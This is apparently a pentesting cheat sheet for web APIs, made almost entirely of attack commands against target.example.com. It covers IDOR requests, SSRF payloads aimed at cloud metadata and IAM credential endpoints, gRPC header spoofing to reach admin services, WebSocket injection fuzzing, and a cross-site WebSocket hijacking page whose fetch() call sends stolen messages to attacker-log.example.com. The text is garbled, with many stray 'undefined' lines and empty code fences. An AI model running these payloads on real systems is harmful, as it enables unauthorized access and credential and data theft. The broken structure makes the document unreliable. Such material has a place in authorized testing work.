GET /api/v1/users/1001/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...user_a_token
Host: target.example.com

GET /api/v1/users/1002/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...user_a_token
Host: target.example.com

undefined

```bash

Test across HTTP methods -- an endpoint may enforce authorization on GET but not on PUT or DELETE:

```bash
for method in GET PUT PATCH DELETE; do
  curl -s -o /dev/null -w "${method} -> %{http_code}\n" \
    -X "${method}" \
    -H "Authorization: Bearer $TOKEN_A" \
    -H "Content-Type: application/json" \
    -d '{"status":"cancelled"}' \
    "https://target.example.com/api/v1/users/1002/orders/5001"
done

undefined

Check for excessive data exposure by comparing full API responses against what the UI renders. Look for internal IDs, other users' emails, hashed passwords, role assignments, or PII the client never displays:

```bash
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/v1/users/me" | jq .

undefined

---

undefined

```bash

---

undefined

```bash

---

undefined

```bash

```bash

---

ssrf_payloads=(
  "http://169.254.169.254/latest/meta-data/"
  "http://metadata.google.internal/computeMetadata/v1/"
  "http://127.0.0.1:8080/admin"
  "http://[::1]:8080/"
  "http://0x7f000001/"
  "http://internal-service.local/"
)

for payload in "${ssrf_payloads[@]}"; do
  echo "--- Testing: ${payload}"
  curl -s -X POST -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d "{\"webhook_url\": \"${payload}\"}" \
    "https://target.example.com/api/v1/integrations/webhook" | head -c 500
  echo
done

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"import_url": "http://169.254.169.254/latest/user-data"}' \
  "https://target.example.com/api/v1/data/import"

curl -s -X PUT -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"avatar_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
  "https://target.example.com/api/v1/users/me/profile"

undefined

```bash

Metadata injection -- gRPC metadata headers can be exploited similarly to HTTP headers:

```bash
grpcurl -plaintext \
  -H "authorization: Bearer $TOKEN" \
  -H "x-forwarded-for: 127.0.0.1" \
  -H "x-internal-service: true" \
  -H "x-user-role: admin" \
  -d '{}' \
  target.example.com:50051 myapp.AdminService/GetConfig

undefined

def response(self, flow: http.HTTPFlow):
    if flow.response and "grpc-status" in flow.response.headers:
        print(f"[gRPC Response] Status: {flow.response.headers['grpc-status']}")

---

undefined

```python
#!/usr/bin/env python3
"""WebSocket message fuzzing and injection testing."""
import asyncio, websockets, json

async def test_ws_injection(url, token):
    headers = {"Cookie": f"session={token}"}
    async with websockets.connect(url, extra_headers=headers) as ws:
        test_payloads = [
            json.dumps({"type": "message", "content": "hello"}),
            json.dumps({"type": "message", "content": "hello", "user_id": "1002"}),
            json.dumps({"type": "admin_broadcast", "content": "injected"}),
            json.dumps({"type": "subscribe", "channel": "../admin/notifications"}),
            json.dumps({"type": "message", "content": "A" * 1000000}),
        ]
        for payload in test_payloads:
            await ws.send(payload)
            try:
                response = await asyncio.wait_for(ws.recv(), timeout=3)
                print(f"Sent: {payload[:80]}\nRecv: {response[:200]}\n---")
            except asyncio.TimeoutError:
                print(f"Sent: {payload[:80]} -> No response\n---")

asyncio.run(test_ws_injection("wss://target.example.com/ws/chat", "SESSION_TOKEN"))

<!-- Host on attacker-controlled domain -- authorized testing only -->
<script>
  var ws = new WebSocket("wss://target.example.com/ws/chat");
  ws.onopen = function() {
    console.log("[CSWSH] Connection opened -- origin validation missing");
    ws.send(JSON.stringify({type: "message", content: "cswsh-test"}));
  };
  ws.onmessage = function(evt) {
    console.log("[CSWSH] Received: " + evt.data);
    fetch("https://attacker-log.example.com/log", {method: "POST", body: evt.data});
  };
  ws.onerror = function(e) {
    console.log("[CSWSH] Connection failed -- origin may be validated");
  };
</script>

undefined

```bash

```bash

---